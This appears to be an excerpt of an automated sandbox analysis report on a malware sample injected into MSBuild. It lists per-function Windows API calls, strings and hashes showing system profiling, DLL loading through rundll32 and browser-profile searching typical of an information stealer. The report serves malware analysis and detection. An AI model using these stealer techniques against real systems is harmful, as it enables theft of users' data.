
Similarity

API ID: lstrcpy$lstrcat$ExecuteShellSystemTimelstrlen
String ID: "" $.dll$C:\ProgramData\$C:\Windows\system32\rundll32.exe
API String ID: 2215929589-2108736111
Opcode ID: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction ID: fcd8ae3be328f2bece2d36ab058f070ab7b5b8f350f6457e4fbb623da5ab610c
Opcode Fuzzy Hash: 3c3eaabb6bf30a628491cb7f6c6410e5825dbbecd231003ae5c9a6d33902ade5
Instruction Fuzzy Hash: 4871EE71E40119ABCF10FFA6DD466CDB7B5AF04308F51406BF510B7191DBB8AE8A8B98

Function 00411684 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 60stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 004116CE

Part of subcall function 004123D5: malloc.MSVCRT ref: 004123DA
Part of subcall function 004123D5: strncpy.MSVCRT ref: 004123EB

lstrcatA.KERNEL32(?,00000000,?,?,?,?,?), ref: 004116F6
lstrcatA.KERNEL32(?,00436ECC,?,?,?,?,?), ref: 00411713
GetCurrentHwProfileA.ADVAPI32(?), ref: 0041169F

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Strings

Unknown, xrefs: 0041173C

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcat$CurrentProfile_memsetlstrcpymallocstrncpy
String ID: Unknown
API String ID: 2781187439-1654365787
Opcode ID: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction ID: cfd5adc8c7fec37571e4615a2d659ce623d81488d817e1095ce6785adf6647ed
Opcode Fuzzy Hash: 7ac010871cfdc6928f55026d9108d12a4a42d5102455bbea89dd41d9649856e6
Instruction Fuzzy Hash: 1A11B971A0011CABCB10EB65DC45FCD7378AB14704F0000A6B645E7191DAB89FC88F58

Function 00411119 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,Keyboard Languages: ,00436910,Display Resolution: ,004368F4,00000000,User Name: ,004368E4,00000000,Computer Name: ,004368D0,AV: ,004368C4,Install Date: ), ref: 00411131
HeapAlloc.KERNEL32(00000000), ref: 00411138
GlobalMemoryStatusEx.KERNEL32(?,?,00000040), ref: 00411154
wsprintfA.USER32 ref: 0041117A

Strings

%d MB, xrefs: 00411174

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocGlobalMemoryProcessStatuswsprintf
String ID: %d MB
API String ID: 3644086013-2651807785
Opcode ID: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction ID: d79e8d54b07d2f615201cd360c868d95b9dac01f4be2040cf9acff1c057e51b0
Opcode Fuzzy Hash: 17f18dc7cf53f9ebfacd37114c0aa46941e1124f845af7428171d2bc88ac11d2
Instruction Fuzzy Hash: F201A9B1E00218BBEB08DFB4DC45EEFB7B9EF08705F04006AF602D7290EA7599818758

Function 0041BD34 Relevance: 7.6, APIs: 5, Instructions: 99fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,00000000,00000000,00000001,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000,0041768F,.exe,00436C5C), ref: 0041BD81
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,759774F0,?,0041CD01,?,0041CD8F,00000000,06400000,00000003,00000000), ref: 0041BDB9

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: File$CreatePointer
String ID:
API String ID: 2024441833-0
Opcode ID: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction ID: 96129ee170b6e52e4a698042c6e04e57a17f8ea6b04b39fd16cd668f0541581b
Opcode Fuzzy Hash: c2a5f8e1d00489231e5594f9a747e25d59c8a13e659a0516d0e6ae57d101117a
Instruction Fuzzy Hash: F23165B05047049FDB349F25D898BE77AE9EB14354F108B2FE296D2680D33898C4CB99

Function 6C42C930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C42C947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C42C969
GetSystemInfo.KERNEL32(?), ref: 6C42C9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C42C9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C42C9E2

Memory Dump Source

Source File: 00000001.00000002.2786675702.000000006C411000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C410000, based on PE: true

Associated: 00000001.00000002.2786655996.000000006C410000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786908223.000000006C48D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786957416.000000006C49E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000001.00000002.2786978944.000000006C4A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c410000_MSBuild.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: 72cbaedc4c144eab83eba0cd87f14d0f8a044162151b3bfbfd41c03ef0a4c3be
Instruction ID: 582d53d7b512274e140dc703e216eb5070fd718ecbf648f80983f89cb968174c
Opcode Fuzzy Hash: 72cbaedc4c144eab83eba0cd87f14d0f8a044162151b3bfbfd41c03ef0a4c3be
Instruction Fuzzy Hash: D021C272782224ABEB14FE24D885FAE73B9EB46744F60011AF947E7B80DB6098048790

Function 00404AB6 Relevance: 7.6, APIs: 5, Instructions: 50stringnetworkCOMMON

Download Yara Rule

APIs

??_U@YAPAXI@Z.MSVCRT(00000400,?), ref: 00404AE8
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AEE
??_U@YAPAXI@Z.MSVCRT(00000400), ref: 00404AF4
lstrlenA.KERNEL32(000000FF,00000000,?), ref: 00404B06
InternetCrackUrlA.WININET(000000FF,00000000), ref: 00404B0E

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID:
API String ID: 1274457161-0
Opcode ID: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction ID: f1c5382da97c9dd65e4db87c3c806c9c9b4e03b01775002e3606c6f6cd357758
Opcode Fuzzy Hash: f25c82f9083139f9dc305e99f373a1749f43e790606f1cfdd691ee0f4a79a4b6
Instruction Fuzzy Hash: E9011B72D00218ABDF149BA9DC45ADEBFB8AF55330F10821AF925F72E0DB745A058B94

Function 00410F51 Relevance: 7.5, APIs: 5, Instructions: 35registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C), ref: 00410F65
HeapAlloc.KERNEL32(00000000,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410F6C
RegOpenKeyExA.KERNEL32(80000002,00000000,00020119,00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ), ref: 00410F8A
RegQueryValueExA.KERNEL32(00436888,00000000,00000000,00000000,000000FF,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000), ref: 00410FA6
RegCloseKey.ADVAPI32(00436888,?,?,?,00414252,Processor: ,[Hardware],00436950,00000000,TimeZone: ,00436940,00000000,Local Time: ,0043692C,Keyboard Languages: ,00436910), ref: 00410FAF

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: Heap$AllocCloseOpenProcessQueryValue
String ID:
API String ID: 3466090806-0
Opcode ID: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction ID: 198c8e352812e869def4411d780e2caea40c147a773264a459f6a712475eeb20
Opcode Fuzzy Hash: 516f2c0c8b5e6a914cb95f881748b3b593324cf3efc2baeb97f22068c18ac649
Instruction Fuzzy Hash: C9F03075640304FBEF148B90DC0AFAE7B7EEB44706F141094F601A51A0E7B29B509B60

Function 004083D9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF,?,?,?,?,?,?,?,?,?,?,0040DB0A), ref: 004083F2

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410549: lstrlenA.KERNEL32(?,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 0041054F
Part of subcall function 00410549: lstrcpyA.KERNEL32(00000000,00000000,?,00417284,004366CF,004366CE,?,?,?,?,0041869F), ref: 00410581

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

SetEnvironmentVariableA.KERNEL32(?,00437194,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,004367C3,?,?,?,?,?,?,?,?,0040DB0A), ref: 00408447
LoadLibraryA.KERNEL32(?,?,?,?,?,?,?,?,0040DB0A), ref: 0040845B

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 004083E6, 004083EB, 00408405

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction ID: 1d1035b7872eafe5bc2acfcfd9c5443481a9431a5cd399c5b03dff48eed801cb
Opcode Fuzzy Hash: b9c3853fef23caf07c4bbe14b1cc1093c34e1e9f3ec2cfce986836b4223b7196
Instruction Fuzzy Hash: 20315C71940714ABCF16EF2AED0245D7BA2AB48706F10607BF440B72B0DB7A1A81CF89

Function 00416ED6 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 55stringCOMMON

Download Yara Rule

APIs

__EH_prolog3_catch.LIBCMT ref: 00416EDD
lstrlenA.KERNEL32(?,0000001C), ref: 00416EE8
StrCmpCA.SHLWAPI(?,ERROR), ref: 00416F6C

Strings

ERROR, xrefs: 00416F64

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: H_prolog3_catchlstrlen
String ID: ERROR
API String ID: 591506033-2861137601
Opcode ID: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction ID: 206493d018c0af61ad3247b9a1edf73ec3ff293b71de332acb6c3f6d1aa8c941
Opcode Fuzzy Hash: 3839105bb85ea6eef1903a5d03da892e36e8fa90d6621a210e44ba5eb4c8eece
Instruction Fuzzy Hash: 5711B131900209AFCB40FF75D9026DCBBB1BF04308B80413AE814E3191D739EAA98FC9

Function 0041224A Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 36COMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32(00000410,00000000,=A,00000000,?), ref: 0041226C
K32GetModuleFileNameExA.KERNEL32(00000000,00000000,?,00000104), ref: 00412287
CloseHandle.KERNEL32(00000000), ref: 0041228E

Strings

=A, xrefs: 0041225D, 00412262

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: CloseFileHandleModuleNameOpenProcess
String ID: =A
API String ID: 3183270410-2399317284
Opcode ID: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction ID: ac01e61fcc3a8dc6a5e43971812eb7396920612e483317b6d6b91c956b259603
Opcode Fuzzy Hash: 72c40201efdd98e4edf8bbd3583afce16a5aafa9b07f53dd0fe7720fa140496e
Instruction Fuzzy Hash: 84F0B471600218ABDB24EB68DC45FEF77BC9B44B08F10006AF645D7180EEB5DAC58B54

Function 0040B332 Relevance: 6.2, APIs: 4, Instructions: 196filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,00436701,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

CopyFileA.KERNEL32(?,?,00000001), ref: 0040B3D7
lstrlenA.KERNEL32(?), ref: 0040B529
lstrlenA.KERNEL32(?), ref: 0040B544
DeleteFileA.KERNEL32(?), ref: 0040B596

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000656000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_MSBuild.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction ID: f20441c87b7e9a3b4f7029758dad72c3b509e7d63b864ac140ecc9ec0d22b659
Opcode Fuzzy Hash: ad945740b977ff1f36274d2f8366a4f9c8c35b8e2ebe285de2857eeab0d8ecfe
Instruction Fuzzy Hash: 2D714072A00119ABCF01FBA5EE468CD7775EF14309F104036F500B71A2DBB9AE898B98

Function 0040D40E Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 125stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,00417731), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00411E1F: LocalAlloc.KERNEL32(00000040,00000001,?,?,?,00416931,?), ref: 00411E37

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,0041718B,004366CD,?,?,?,?,0041869F), ref: 0041050D

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,004171AC,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,004171CA,00436C18,00000000,004366CD,?,?,?,?,0041869F), ref: 004105BD

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004176F9,004366DA), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

StrStrA.SHLWAPI(00000000,?,00437538,0043688A), ref: 0040D49F
lstrlenA.KERNEL32(?), ref: 0040D4B2

Strings

moz-extension+++, xrefs: 0040D4DD
^userContextId=4294967295, xrefs: 0040D4D7

Memory Dump Source

Source File: 00000001.00000002.2754133492.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2754133492.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000048F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.0000000000494000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004B3000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.00000000004D2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000001.00000002.2754133492.000000000056B000.00000040.00000400.00020000.00000000.sdmpDownload File
